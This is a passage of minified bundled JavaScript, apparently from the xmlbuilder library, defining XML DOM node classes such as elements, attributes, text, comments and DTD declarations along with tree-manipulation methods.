K,infoset:!0,"validate-if-schema":!1,namespaces:!0,"namespace-declarations":!0,"normalize-characters":!1,"schema-location":"","schema-type":"","split-cdata-sections":!0,validate:!1,"well-formed":!0},this.params=z=Object.create(this.defaultParams)}getParameter(z){if(this.params.hasOwnProperty(z))return this.params[z];else return null}canSetParameter(z,w){return!0}setParameter(z,w){if(w!=null)return this.params[z]=w;else return delete this.params[z]}}return Object.defineProperty(Y.prototype,"parameterNames",{get:function(){return new q(Object.keys(this.defaultParams))}}),Y}.call(this)}).call(ae7)});var DX=v((ee7,AAK)=>{(function(){AAK.exports={Element:1,Attribute:2,Text:3,CData:4,EntityReference:5,EntityDeclaration:6,ProcessingInstruction:7,Comment:8,Document:9,DocType:10,DocumentFragment:11,NotationDeclaration:12,Declaration:201,Raw:202,AttributeDeclaration:203,ElementDeclaration:204,Dummy:205}}).call(ee7)});var pR6=v((KAK,qAK)=>{(function(){var A,K,q;A=DX(),q=Dv(),qAK.exports=K=function(){class Y{constructor(z,w,H){if(this.parent=z,this.parent)this.options=this.parent.options,this.stringify=this.parent.stringify;if(w==null)throw Error("Missing attribute name. "+this.debugInfo(w));this.name=this.stringify.name(w),this.value=this.stringify.attValue(H),this.type=A.Attribute,this.isId=!1,this.schemaTypeInfo=null}clone(){return Object.create(this)}toString(z){return this.options.writer.attribute(this,this.options.writer.filterOptions(z))}debugInfo(z){if(z=z||this.name,z==null)return"parent: <"+this.parent.name+">";else return"attribute: {"+z+"}, parent: <"+this.parent.name+">"}isEqualNode(z){if(z.namespaceURI!==this.namespaceURI)return!1;if(z.prefix!==this.prefix)return!1;if(z.localName!==this.localName)return!1;if(z.value!==this.value)return!1;return!0}}return Object.defineProperty(Y.prototype,"nodeType",{get:function(){return this.type}}),Object.defineProperty(Y.prototype,"ownerElement",{get:function(){return this.parent}}),Object.defineProperty(Y.prototype,"textContent",{get:function(){return this.value},set:function(z){return this.value=z||""}}),Object.defineProperty(Y.prototype,"namespaceURI",{get:function(){return""}}),Object.defineProperty(Y.prototype,"prefix",{get:function(){return""}}),Object.defineProperty(Y.prototype,"localName",{get:function(){return this.name}}),Object.defineProperty(Y.prototype,"specified",{get:function(){return!0}}),Y}.call(this)}).call(KAK)});var hM1=v((YAK,zAK)=>{(function(){var A;zAK.exports=A=function(){class K{constructor(q){this.nodes=q}clone(){return this.nodes=null}getNamedItem(q){return this.nodes[q]}setNamedItem(q){var Y=this.nodes[q.nodeName];return this.nodes[q.nodeName]=q,Y||null}removeNamedItem(q){var Y=this.nodes[q];return delete this.nodes[q],Y||null}item(q){return this.nodes[Object.keys(this.nodes)[q]]||null}getNamedItemNS(q,Y){throw Error("This DOM method is not implemented.")}setNamedItemNS(q){throw Error("This DOM method is not implemented.")}removeNamedItemNS(q,Y){throw Error("This DOM method is not implemented.")}}return Object.defineProperty(K.prototype,"length",{get:function(){return Object.keys(this.nodes).length||0}}),K}.call(this)}).call(YAK)});var bM1=v((wAK,HAK)=>{(function(){var A,K,q,Y,z,w,H,J,O={}.hasOwnProperty;({isObject:J,isFunction:H,getValue:w}=rB()),z=Dv(),A=DX(),K=pR6(),Y=hM1(),HAK.exports=q=function(){class X extends z{constructor($,_,G){var Z,W,D,j;super($);if(_==null)throw Error("Missing element name. "+this.debugInfo());if(this.name=this.stringify.name(_),this.type=A.Element,this.attribs={},this.schemaTypeInfo=null,G!=null)this.attribute(G);if($.type===A.Document){if(this.isRoot=!0,this.documentObject=$,$.rootObject=this,$.children){j=$.children;for(W=0,D=j.length;W<D;W++)if(Z=j[W],Z.type===A.DocType){Z.name=this.name;break}}}}clone(){var $,_,G,Z;if(G=Object.create(this),G.isRoot)G.documentObject=null;G.attribs={},Z=this.attribs;for(_ in Z){if(!O.call(Z,_))continue;$=Z[_],G.attribs[_]=$.clone()}return G.children=[],this.children.forEach(function(W){var D=W.clone();return D.parent=G,G.children.push(D)}),G}attribute($,_){var G,Z;if($!=null)$=w($);if(J($))for(G in $){if(!O.call($,G))continue;Z=$[G],this.attribute(G,Z)}else{if(H(_))_=_.apply();if(this.options.keepNullAttributes&&_==null)this.attribs[$]=new K(this,$,"");else if(_!=null)this.attribs[$]=new K(this,$,_)}return this}removeAttribute($){var _,G,Z;if($==null)throw Error("Missing attribute name. "+this.debugInfo());if($=w($),Array.isArray($))for(G=0,Z=$.length;G<Z;G++)_=$[G],delete this.attribs[_];else delete this.attribs[$];return this}toString($){return this.options.writer.element(this,this.options.writer.filterOptions($))}att($,_){return this.attribute($,_)}a($,_){return this.attribute($,_)}getAttribute($){if(this.attribs.hasOwnProperty($))return this.attribs[$].value;else return null}setAttribute($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}getAttributeNode($){if(this.attribs.hasOwnProperty($))return this.attribs[$];else return null}setAttributeNode($){throw Error("This DOM method is not implemented."+this.debugInfo())}removeAttributeNode($){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByTagName($){throw Error("This DOM method is not implemented."+this.debugInfo())}getAttributeNS($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}setAttributeNS($,_,G){throw Error("This DOM method is not implemented."+this.debugInfo())}removeAttributeNS($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}getAttributeNodeNS($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}setAttributeNodeNS($){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByTagNameNS($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}hasAttribute($){return this.attribs.hasOwnProperty($)}hasAttributeNS($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}setIdAttribute($,_){if(this.attribs.hasOwnProperty($))return this.attribs[$].isId;else return _}setIdAttributeNS($,_,G){throw Error("This DOM method is not implemented."+this.debugInfo())}setIdAttributeNode($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByTagName($){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByTagNameNS($,_){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByClassName($){throw Error("This DOM method is not implemented."+this.debugInfo())}isEqualNode($){var _,G,Z;if(!super.isEqualNode($))return!1;if($.namespaceURI!==this.namespaceURI)return!1;if($.prefix!==this.prefix)return!1;if($.localName!==this.localName)return!1;if($.attribs.length!==this.attribs.length)return!1;for(_=G=0,Z=this.attribs.length-1;0<=Z?G<=Z:G>=Z;_=0<=Z?++G:--G)if(!this.attribs[_].isEqualNode($.attribs[_]))return!1;return!0}}return Object.defineProperty(X.prototype,"tagName",{get:function(){return this.name}}),Object.defineProperty(X.prototype,"namespaceURI",{get:function(){return""}}),Object.defineProperty(X.prototype,"prefix",{get:function(){return""}}),Object.defineProperty(X.prototype,"localName",{get:function(){return this.name}}),Object.defineProperty(X.prototype,"id",{get:function(){throw Error("This DOM method is not implemented."+this.debugInfo())}}),Object.defineProperty(X.prototype,"className",{get:function(){throw Error("This DOM method is not implemented."+this.debugInfo())}}),Object.defineProperty(X.prototype,"classList",{get:function(){throw Error("This DOM method is not implemented."+this.debugInfo())}}),Object.defineProperty(X.prototype,"attributes",{get:function(){if(!this.attributeMap||!this.attributeMap.nodes)this.attributeMap=new Y(this.attribs);return this.attributeMap}}),X}.call(this)}).call(wAK)});var HQA=v((JAK,OAK)=>{(function(){var A,K;K=Dv(),OAK.exports=A=function(){class q extends K{constructor(Y){super(Y);this.value=""}clone(){return Object.create(this)}substringData(Y,z){throw Error("This DOM method is not implemented."+this.debugInfo())}appendData(Y){throw Error("This DOM method is not implemented."+this.debugInfo())}insertData(Y,z){throw Error("This DOM method is not implemented."+this.debugInfo())}deleteData(Y,z){throw Error("This DOM method is not implemented."+this.debugInfo())}replaceData(Y,z,w){throw Error("This DOM method is not implemented."+this.debugInfo())}isEqualNode(Y){if(!super.isEqualNode(Y))return!1;if(Y.data!==this.data)return!1;return!0}}return Object.defineProperty(q.prototype,"data",{get:function(){return this.value},set:function(Y){return this.value=Y||""}}),Object.defineProperty(q.prototype,"length",{get:function(){return this.value.length}}),Object.defineProperty(q.prototype,"textContent",{get:function(){return this.value},set:function(Y){return this.value=Y||""}}),q}.call(this)}).call(JAK)});var xM1=v((XAK,$AK)=>{(function(){var A,K,q;A=DX(),q=HQA(),$AK.exports=K=class extends q{constructor(z,w){super(z);if(w==null)throw Error("Missing CDATA text. "+this.debugInfo());this.name="#cdata-section",this.type=A.CData,this.value=this.stringify.cdata(w)}clone(){return Object.create(this)}toString(z){return this.options.writer.cdata(this,this.options.writer.filterOptions(z))}}}).call(XAK)});var uM1=v((_AK,GAK)=>{(function(){var A,K,q;A=DX(),K=HQA(),GAK.exports=q=class extends K{constructor(z,w){super(z);if(w==null)throw Error("Missing comment text. "+this.debugInfo());this.name="#comment",this.type=A.Comment,this.value=this.stringify.comment(w)}clone(){return Object.create(this)}toString(z){return this.options.writer.comment(this,this.options.writer.filterOptions(z))}}}).call(_AK)});var BM1=v((ZAK,WAK)=>{(function(){var A,K,q,Y;({isObject:Y}=rB()),q=Dv(),A=DX(),WAK.exports=K=class extends q{constructor(w,H,J,O){super(w);if(Y(H))({version:H,encoding:J,standalone:O}=H);if(!H)H="1.0";if(this.type=A.Declaration,this.version=this.stringify.xmlVersion(H),J!=null)this.encoding=this.stringify.xmlEncoding(J);if(O!=null)this.standalone=this.stringify.xmlStandalone(O)}toString(w){return this.options.writer.declaration(this,this.options.writer.filterOptions(w))}}}).call(ZAK)});var mM1=v((DAK,jAK)=>{(function(){var A,K,q;q=Dv(),A=DX(),jAK.exports=K=class extends q{constructor(z,w,H,J,O,X){super(z);if(w==null)throw Error("Missing DTD element name. "+this.debugInfo());if(H==null)throw Error("Missing DTD attribute name. "+this.debugInfo(w));if(!J)throw Error("Missing DTD attribute type. "+this.debugInfo(w));if(!O)throw Error("Missing DTD attribute default. "+this.debugInfo(w));if(O.indexOf("#")!==0)O="#"+O;if(!O.match(/^(#REQUIRED|#IMPLIED|#FIXED|#DEFAULT)$/))throw Error("Invalid default value type; expected: #REQUIRED, #IMPLIED, #FIXED or #DEFAULT. "+this.debugInfo(w));if(X&&!O.match(/^(#FIXED|#DEFAULT)$/))throw Error("Default value only applies to #FIXED or #DEFAULT. "+this.debugInfo(w));if(this.elementName=this.stringify.name(w),this.type=A.AttributeDeclaration,this.attributeName=this.stringify.name(H),this.attributeType=this.stringify.dtdAttType(J),X)this.defaultValue=this.stringify.dtdAttDefault(X);this.defaultValueType=O}toString(z){return this.options.writer.dtdAttList(this,this.options.writer.filterOptions(z))}}}).call(DAK)});var gM1=v((MAK,PAK)=>{(function(){var A,K,q,Y;({isObject:Y}=rB()),q=Dv(),A=DX(),PAK.exports=K=function(){class z extends q{constructor(w,H,J,O){super(w);if(J==null)throw Error("Missing DTD entity name. "+this.debugInfo(J));if(O==null)throw Error("Missing DTD entity value. "+this.debugInfo(J));if(this.pe=!!H,this.name=this.stringify.name(J),this.type=A.EntityDeclaration,!Y(O))this.value=this.stringify.dtdEntityValue(O),this.internal=!0;else{if(!O.pubID&&!O.sysID)throw Error("Public and/or system identifiers are required for an external entity. "+this.debugInfo(J));if(O.pubID&&!O.sysID)throw Error("System identifier is required for a public external entity. "+this.debugInfo(J));if(this.internal=!1,O.pubID!=null)this.pubID=this.stringify.dtdPubID(O.pubID);if(O.sysID!=null)this.sysID=this.stringify.dtdSysID(O.sysID);if(O.nData!=null)this.nData=this.stringify.dtdNData(O.nData);if(this.pe&&this.nData)throw Error("Notation declaration is not allowed in a parameter entity. "+this.debugInfo(J))}}toString(w){return this.options.writer.dtdEntity(this,this.options.writer.filterOptions(w))}}return Object.defineProperty(z.prototype,"publicId",{get:function(){return this.pubID}}),Object.defineProperty(z.prototype,"systemId",{get:function(){return this.sysID}}),Object.defineProperty(z.prototype,"notationName",{get:function(){return this.nData||null}}),Object.defineProperty(z.prototype,"inputEncoding",{get:function(){return null}}),Object.defineProperty(z.prototype,"xmlEncoding",{get:function(){return null}}),Object.defineProperty(z.prototype,"xmlVersion",{get:function(){return null}}),z}.call(this)}).call(MAK)});var FM1=v((VAK,fAK)=>{(function(){var A,K,q;q=Dv(),A=DX(),fAK.exports=K=class extends q{constructor(z,w,H){super(z);if(w==null)throw Error("Missing DTD element name. "+this.debugInfo());if(!H)H="(#PCDATA)";if(Array.isArray(H))H="("+H.join(",")+")";this.name=this.stringify.name(w),this.type=A.ElementDeclaration,this.value=this.stringify.dtdElementValue(H)}toString(z){return this.options.writer.dtdElement(this,this.options.writer.filterOptions(z))}}}).call(VAK)});var QM1=v((NAK,TAK)=>{(function(){var A,K,q;q=Dv(),A=DX(),TAK.exports=K=function(){class Y extends q{constructor(z,w,H){super(z);if(w==null)throw Error("Missing DTD notation name. "+this.debugInfo(w));if(!H.pubID&&!H.sysID)throw Error("Public or system identifiers are required for an external entity. "+this.debugInfo(w));if(this.name=this.stringify.name(w),this.type=A.NotationDeclaration,H.pubID!=null)this.pubID=this.stringify.dtdPubID(H.pubID);if(H.sysID!=null)this.sysID=this.stringify.dtdSysID(H.sysID)}toString(z){return this.options.writer.dtdNotation(this,this.options.writer.filterOptions(z))}}return Object.defineProperty(Y.prototype,"publicId",{get:function(){return this.pubID}}),Object.defineProperty(Y.prototype,"systemId",{get:function(){return this.sysID}}),Y}.call(this)}).call(NAK)});var UM1=v((vAK,EAK)=>{(function(){var A,K,q,Y,z,w,H,J,O;({isObject:O}=rB()),J=Dv(),A=DX(),K=mM1(),Y=gM1(),q=FM1(),z=QM1(),H=hM1(),EAK.exports=w=function(){class X extends J{constructor($,_,G){var Z,W,D,j;super($);if(this.type=A.DocType,$.children){j=$.children;for(W=0,D=j.length;W<D;W++)if(Z=j[W],Z.type===A.Element){this.name=Z.name;break}}if(this.documentObject=$,O(_))({pubID:_,sysID:G}=_);if(G==null)[G,_]=[_,G];if(_!=null)this.pubID=this.stringify.dtdPubID(_);if(G!=null)this.sysID=this.stringify.dtdSysID(G)}element($,_){var G=new q(this,$,_);return this.children.push(G),this}attList($,_,G,Z,W){var D=new K(this,$,_,G,Z,W);return this.children.push(D),this}entity($,_){var G=new Y(this,!1,$,_);return this.children.push(G),this}pEntity($,_){var G=new Y(this,!0,$,_);return this.children.push(G),this}notation($,_){var G=new z(this,$,_);return this.children.push(G),this}toString($){return this.options.writer.docType(this,this.options.writer.filterOptions($))}ele($,_){return this.element($,_)}att($,_,G,Z,W){return this.attList($,_,G,Z,W)}ent($,_){return this.entity($,_)}pent($,_){return this.pEntity($,_)}not($,_){return this.notation($,_)}up(){return this.root()||this.documentObject}isEqualNode($){if(!super.isEqualNode($))return!1;if($.name!==this.name)return!1;if($.publicId!==this.publicId)return!1;if($.systemId!==this.systemId)return!1;return!0}}return Object.defineProperty(X.prototype,"entities",{get:function(){var $,_,G,Z,W;Z={},W=this.children;for(_=0,G=W.length;_<G;_++)if($=W[_],$.type===A.EntityDeclaration&&!$.pe)Z[$.name]=$;return new H(Z)}}),Object.defineProperty(X.prototype,"notations",{get:function(){var $,_,G,Z,W;Z={},W=this.children;for(_=0,G=W.length;_<G;_++)if($=W[_],$.type===A.NotationDeclaration)Z[$.name]=$;return new H(Z)}}),Object.defineProperty(X.prototype,"publicId",{get:function(){return this.pubID}}),Object.defineProperty(X.prototype,"systemId",{get:function(){return this.sysID}}),Object.defineProperty(X.prototype,"internalSubset",{get:function(){throw Error("This DOM method is not implemented."+this.debugInfo())}}),X}.call(this)}).call(vAK)});var pM1=v((kAK,CAK)=>{(function(){var A,K,q;A=DX(),K=Dv(),CAK.exports=q=class extends K{constructor(z,w){super(z);if(w==null)throw Error("Missing raw text. "+this.debugInfo());this.type=A.Raw,this.value=this.stringify.raw(w)}clone(){return Object.create(this)}toString(z){return this.options.writer.raw(this,this.options.writer.filterOptions(z))}}}).call(kAK)});var dM1=v((LAK,RAK)=>{(function(){var A,K,q;A=DX(),K=HQA(),RAK.exports=q=function(){class Y extends K{constructor(z,w){super(z);if(w==null)throw Error("Missing element text. "+this.debugInfo());this.name="#text",this.type=A.Text,this.value=this.stringify.text(w)}clone(){return Object.create(this)}toString(z){return this.options.writer.text(this,this.options.writer.filterOptions(z))}splitText(z){throw Error("This DOM method is not implemented."+this.debugInfo())}replaceWholeText(z){throw Error("This DOM method is not implemented."+this.debugInfo())}}return Object.defineProperty(Y.prototype,"isElementContentWhitespace",{get:function(){throw Error("This DOM method is not implemented."+this.debugInfo())}}),Object.defineProperty(Y.prototype,"wholeText",{get:function(){var z,w,H;H="",w=this.previousSibling;while(w)H=w.data+H,w=w.previousSibling;H+=this.data,z=this.nextSibling;while(z)H=H+z.data,z=z.nextSibling;return H}}),Y}.call(this)}).call(LAK)});var cM1=v((yAK,IAK)=>{(function(){var A,K,q;A=DX(),K=HQA(),IAK.exports=q=class extends K{constructor(z,w,H){super(z);if(w==null)throw Error("Missing instruction target. "+this.debugInfo());if(this.type=A.ProcessingInstruction,this.target=this.stringify.insTarget(w),this.name=this.target,H)this.value=this.stringify.insValue(H)}clone(){return Object.create(this)}toString(z){return this.options.writer.processingInstruction(this,this.options.writer.filterOptions(z))}isEqualNode(z){if(!super.isEqualNode(z))return!1;if(z.target!==this.target)return!1;return!0}}}).call(yAK)});var dR6=v((SAK,hAK)=>{(function(){var A,K,q;q=Dv(),A=DX(),hAK.exports=K=class extends q{constructor(z){super(z);this.type=A.Dummy}clone(){return Object.create(this)}toString(z){return""}}}).call(SAK)});var uAK=v((bAK,xAK)=>{(function(){var A;xAK.exports=A=function(){class K{constructor(q){this.nodes=q}clone(){return this.nodes=null}item(q){return this.nodes[q]||null}}return Object.defineProperty(K.prototype,"length",{get:function(){return this.nodes.length||0}}),K}.call(this)}).call(bAK)});var gAK=v((BAK,mAK)=>{(function(){mAK.exports={Disconnected:1,Preceding:2,Following:4,Contains:8,ContainedBy:16,ImplementationSpecific:32}}).call(BAK)});var Dv=v((FAK,QAK)=>{(function(){var A,K,q,Y,z,w,H,J,O,X,$,_,G,Z,W,D,j,M,P={}.hasOwnProperty,f=[].splice;({isObject:M,isFunction:j,isEmpty:D,getValue:W}=rB()),J=null,q=null,Y=null,z=null,w=null,G=null,Z=null,_=null,H=null,K=null,$=null,O=null,A=null,QAK.exports=X=function(){class N{constructor(T){if(this.parent=T,this.parent)this.options=this.parent.options,this.stringify=this.parent.stringify;if(this.value=null,this.children=[],this.baseURI=null,!J)J=bM1(),q=xM1(),Y=uM1(),z=BM1(),w=UM1(),G=pM1(),Z=dM1(),_=cM1(),H=dR6(),K=DX(),$=uAK(),O=hM1(),A=gAK()}setParent(T){var C,R,x,y,B;if(this.parent=T,T)this.options=T.options,this.stringify=T.stringify;y=this.children,B=[];for(R=0,x=y.length;R<x;R++)C=y[R],B.push(C.setParent(this));return B}element(T,C,R){var x,y,B,b,F,Q,u,d,r;if(Q=null,C===null&&R==null)[C,R]=[{},null];if(C==null)C={};if(C=W(C),!M(C))[R,C]=[C,R];if(T!=null)T=W(T);if(Array.isArray(T))for(B=0,u=T.length;B<u;B++)y=T[B],Q=this.element(y);else if(j(T))Q=this.element(T.apply());else if(M(T))for(F in T){if(!P.call(T,F))continue;if(r=T[F],j(r))r=r.apply();if(!this.options.ignoreDecorators&&this.stringify.convertAttKey&&F.indexOf(this.stringify.convertAttKey)===0)Q=this.attribute(F.substr(this.stringify.convertAttKey.length),r);else if(!this.options.separateArrayItems&&Array.isArray(r)&&D(r))Q=this.dummy();else if(M(r)&&D(r))Q=this.element(F);else if(!this.options.keepNullNodes&&r==null)Q=this.dummy();else if(!this.options.separateArrayItems&&Array.isArray(r))for(b=0,d=r.length;b<d;b++)y=r[b],x={},x[F]=y,Q=this.element(x);else if(M(r))if(!this.options.ignoreDecorators&&this.stringify.convertTextKey&&F.indexOf(this.stringify.convertTextKey)===0)Q=this.element(r);else Q=this.element(F),Q.element(r);else Q=this.element(F,r)}else if(!this.options.keepNullNodes&&R===null)Q=this.dummy();else if(!this.options.ignoreDecorators&&this.stringify.convertTextKey&&T.indexOf(this.stringify.convertTextKey)===0)Q=this.text(R);else if(!this.options.ignoreDecorators&&this.stringify.convertCDataKey&&T.indexOf(this.stringify.convertCDataKey)===0)Q=this.cdata(R);else if(!this.options.ignoreDecorators&&this.stringify.convertCommentKey&&T.indexOf(this.stringify.convertCommentKey)===0)Q=this.comment(R);else if(!this.options.ignoreDecorators&&this.stringify.convertRawKey&&T.indexOf(this.stringify.convertRawKey)===0)Q=this.raw(R);else if(!this.options.ignoreDecorators&&this.stringify.convertPIKey&&T.indexOf(this.stringify.convertPIKey)===0)Q=this.instruction(T.substr(this.stringify.convertPIKey.length),R);else Q=this.node(T,C,R);if(Q==null)throw Error("Could not create any elements with: "+T+". "+this.debugInfo());return Q}insertBefore(T,C,R){var x,y,B,b,F;if(T!=null?T.type:void 0){if(B=T,b=C,B.setParent(this),b)y=children.indexOf(b),F=children.splice(y),children.push(B),Array.prototype.push.apply(children,F);else children.push(B);return B}else{if(this.isRoot)throw Error("Cannot insert elements at root level. "+this.debugInfo(T));return y=this.parent.children.indexOf(this),F=this.parent.children.splice(y),x=this.parent.element(T,C,R),Array.prototype.push.apply(this.parent.children,F),x}}insertAfter(T,C,R){var x,y,B;if(this.isRoot)throw Error("Cannot insert elements at root level. "+this.debugInfo(T));return y=this.parent.children.indexOf(this),B=this.parent.children.splice(y+1),x=this.parent.element(T,C,R),Array.prototype.push.apply(this.parent.children,B),x}remove(){var T,C;if(this.isRoot)throw Error("Cannot remove the root element. "+this.debugInfo());return T=this.parent.children.indexOf(this),f.apply(this.parent.children,[T,T-T+1].concat(C=[])),this.parent}node(T,C,R){var x;if(T!=null)T=W(T);if(C||(C={}),C=W(C),!M(C))[R,C]=[C,R];if(x=new J(this,T,C),R!=null)x.text(R);return this.children.push(x),x}text(T){var C;if(M(T))this.element(T);return C=new Z(this,T),this.children.push(C),this}cdata(T){var C=new q(this,T);return this.children.push(C),this}comment(T){var C=new Y(this,T);return this.children.push(C),this}commentBefore(T){var C,R,x;return R=this.parent.children.indexOf(this),x=this.parent.children.splice(R),C=this.parent.comment(T),Array.prototype.push.apply(this.parent.children,x),this}commentAfter(T){var C,R,x;return R=this.parent.children.indexOf(this),x=this.parent.children.splice(R+1),C=this.parent.comment(T),Array.prototype.push.apply(this.parent.children,x),this}raw(T){var C=new G(this,T);return this.children.push(C),this}dummy(){var T=new H(this);return T}instruction(T,C){var R,x,y,B,b;if(T!=null)T=W(T);if(C!=null)C=W(C);if(Array.isArray(T))for(B=0,b=T.length;B<b;B++)R=T[B],this.instruction(R);else if(M(T))for(R in T){if(!P.call(T,R))continue;x=T[R],this.instruction(R,x)}else{if(j(C))C=C.apply();y=new _(this,T,C),this.children.push(y)}return this}instructionBefore(T,C){var R,x,y;return x=this.parent.children.indexOf(this),y=this.parent.children.splice(x),R=this.parent.instruction(T,C),Array.prototype.push.apply(this.parent.children,y),this}instructionAfter(T,C){var R,x,y;return x=this.parent.children.indexOf(this),y=this.parent.children.splice(x+1),R=this.parent.instruction(T,C),Array.prototype.push.apply(this.parent.children,y),this}declaration(T,C,R){var x,y;if(x=this.document(),y=new z(x,T,C,R),x.children.length===0)x.children.unshift(y);else if(x.children[0].type===K.Declaration)x.children[0]=y;else x.children.unshift(y);return x.root()||x}dtd(T,C){var R,x,y,B,b,F,Q,u,d,r;x=this.document(),y=new w(x,T,C),d=x.children;for(B=b=0,Q=d.length;b<Q;B=++b)if(R=d[B],R.type===K.DocType)return x.children[B]=y,y;r=x.children;for(B=F=0,u=r.length;F<u;B=++F)if(R=r[B],R.isRoot)return x.children.splice(B,0,y),y;return x.children.push(y),y}up(){if(this.isRoot)throw Error("The root node has no parent. Use doc() if you need to get the document object.");return this.parent}root(){var T=this;while(T)if(T.type===K.Document)return T.rootObject;else if(T.isRoot)return T;else T=T.parent}document(){var T=this;while(T)if(T.type===K.Document)return T;else T=T.parent}end(T){return this.document().end(T)}prev(){var T=this.parent.children.indexOf(this);if(T<1)throw Error("Already at the first node. "+this.debugInfo());return this.parent.children[T-1]}next(){var T=this.parent.children.indexOf(this);if(T===-1||T===this.parent.children.length-1)throw Error("Already at the last node. "+this.debugInfo());return this.parent.children[T+1]}importDocument(T){var C,R,x,y,B;if(R=T.root().clone(),R.parent=this,R.isRoot=!1,this.children.push(R),this.type===K.Document){if(R.isRoot=!0,R.documentObject=this,this.rootObject=R,this.children){B=this.children;for(x=0,y=B.length;x<y;x++)if(C=B[x],C.type===K.DocType){C.name=R.name;break}}}return this}debugInfo(T){var C,R;if(T=T||this.name,T==null&&!((C=this.parent)!=null?C.name:void 0))return"";else if(T==null)return"parent: <"+this.parent.name+">";else if(!((R=this.parent)!=null?R.name:void 0))return"node: <"+T+">";else return"node: <"+T+">, parent: <"+this.parent.name+">"}ele(T,C,R){return this.element(T,C,R)}nod(T,C,R){return this.node(T,C,R)}txt(T){return this.text(T)}dat(T){return this.cdata(T)}com(T){return this.comment(T)}ins(T,C){return this.instruction(T,C)}doc(){return this.document()}dec(T,C,R){return this.declaration(T,C,R)}e(T,C,R){return this.element(T,C,R)}n(T,C,R){return this.node(T,C,R)}t(T){return this.text(T)}d(T){return this.cdata(T)}c(T){return this.comment(T)}r(T){return this.raw(T)}i(T,C){return this.instruction(T,C)}u(){return this.up()}importXMLBuilder(T){return this.importDocument(T)}attribute(T,C){throw Error("attribute() applies to element nodes only.")}att(T,C){return this.attribute(T,C)}a(T,C){return this.attribute(T,C)}removeAttribute(T){throw Error("attribute() applies to element nodes only.")}replaceChild(T,C){throw Error("This DOM method is not implemented."+this.debugInfo())}removeChild(T){throw Error("This DOM method is not implemented."+this.debugInfo())}appendChild(T){throw Error("This DOM method is not implemented."+this.debugInfo())}hasChildNodes(){return this.children.length!==0}cloneNode(T){throw Error("This DOM method is not implemented."+this.debugInfo())}normalize(){throw Error("This DOM method is not implemented."+this.debugInfo())}isSupported(T,C){return!0}hasAttributes(){return this.attribs.length!==0}compareDocumentPosition(T){var C,R;if(C=this,C===T)return 0;else if(this.document()!==T.document()){if(R=A.Disconnected|A.ImplementationSpecific,Math.random()<0.5)R|=A.Preceding;else R|=A.Following;return R}else if(C.isAncestor(T))return A.Contains|A.Preceding;else if(C.isDescendant(T))return A.Contains|A.Following;else if(C.isPreceding(T))return A.Preceding;else return A.Following}isSameNode(T){throw Error("This DOM method is not implemented."+this.debugInfo())}lookupPrefix(T){throw Error("This DOM method is not implemented."+this.debugInfo())}isDefaultNamespace(T){throw Error("This DOM method is not implemented."+this.debugInfo())}lookupNamespaceURI(T){throw Error("This DOM method is not implemented."+this.debugInfo())}isEqualNode(T){var C,R,x;if(T.nodeType!==this.nodeType)return!1;if(T.children.length!==this.children.length)return!1;for(C=R=0,x=this.children.length-1;0<=x?R<=x:R>=x;C=0<=x?++R:--R)if(!this.children[C].isEqualNode(T.children[C]))return!1;return!0}getFeature(T,C){throw Error("This DOM method is not implemented."+this.debugInfo())}setUserData(T,C,R){throw Error("This DOM method is not implemented."+this.debugInfo())}getUserData(T){throw Error("This DOM method is not implemented."+this.debugInfo())}contains(T){if(!T)return!1;return T===this||this.isDescendant(T)}isDescendant(T){var C,R,x,y,B;B=this.children;for(x=0,y=B.length;x<y;x++){if(C=B[x],T===C)return!0;if(R=C.isDescendant(T),R)return!0}return!1}isAncestor(T){return T.isDescendant(this)}isPreceding(T){var C,R;if(C=this.treePosition(T),R=this.treePosition(this),C===-1||R===-1)return!1;else return C<R}isFollowing(T){var C,R;if(C=this.treePosition(T),R=this.treePosition(this),C===-1||R===-1)return!1;else return C>R}treePosition(T){var C,R;if(R=0,C=!1,this.foreachTreeNode(this.document(),function(x){if(R++,!C&&x===T)return C=!0}),C)return R;else return-1}foreachTreeNode(T,C){var R,x,y,B,b;T||(T=this.document()),B=T.children;for(x=0,y=B.length;x<y;x++)if(R=B[x],b=C(R))return b;else if(b=this.foreachTreeNode(R,C),b)return b}}return Object.defineProperty(N.prototype,"nodeName",{get:function(){return this.name}}),Object.defineProperty(N.prototype,"nodeType",{get:function(){return this.type}}),Object.defineProperty(N.prototype,"nodeValue",{get:function(){return this.value}}),Object.defineProperty(N.prototype,"parentNode",{get:function(){return this.parent}}),Object.defineProperty(N.prototype,"childNodes",{get:function(){if(!this.childNodeList||!this.childNodeList.nodes)this.childNodeList=new $(this.children);return this.childNodeList}}),Object.defineProperty(N.prototype,"firstChild",{get:function(){return this.children[0]||null}}),Object.defineProperty(N.prototype,"lastChild",{get:function(){return this.children[this.children.length-1]||null}}),Object.defineProperty(N.prototype,"previousSibling",{get:function(){var T=this.parent.children.indexOf(this);return this.parent.children[T-1]||null}}),Object.defineProperty(N.prototype,"nextSibling",{get:function(){var T=this.parent.children.indexOf(this);return this.parent.children[T+1]||null}}),Object.defineProperty(N.prototype,"ownerDocument",{get:function(){return this.document()||null}}),Object.defineProperty(N.prototype,"textContent",{get:function(){var T,C,R,x,y;if(this.nodeType===K.Element||this.nodeType===K.DocumentFragment){y="",x=this.children;for(C=0,R=x.length;C<R;C++)if(T=x[C],T.textContent)y+=T.textContent;return y}else return null},set:function(T){throw Error("This DOM method is not implemented."+this.debugInfo())}}),N}.call(this)}).call(FAK)});var cR6=v((UAK,pAK)=>{(function(){var A,K={}.hasOwnProperty;pAK.exports=A=function(){class q{constructor(Y){var z,w,H;if(this.assertLegalChar=this.assertLegalChar.bind(this),this.assertLegalName=this.assertLegalName.bind(this),Y||(Y={}),this.options=Y,!this.options.version)this.options.version="1.0";w=Y.stringify||{};for(z in w){if(!K.call(w,z))continue;H=w[z],this[z]=H}}name(Y){if(this.options.noValidation)return Y;return this.assertLegalName(""+Y||"")}text(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(this.textEscape(""+Y||""))}cdata(Y){if(this.options.noValidation)return Y;return 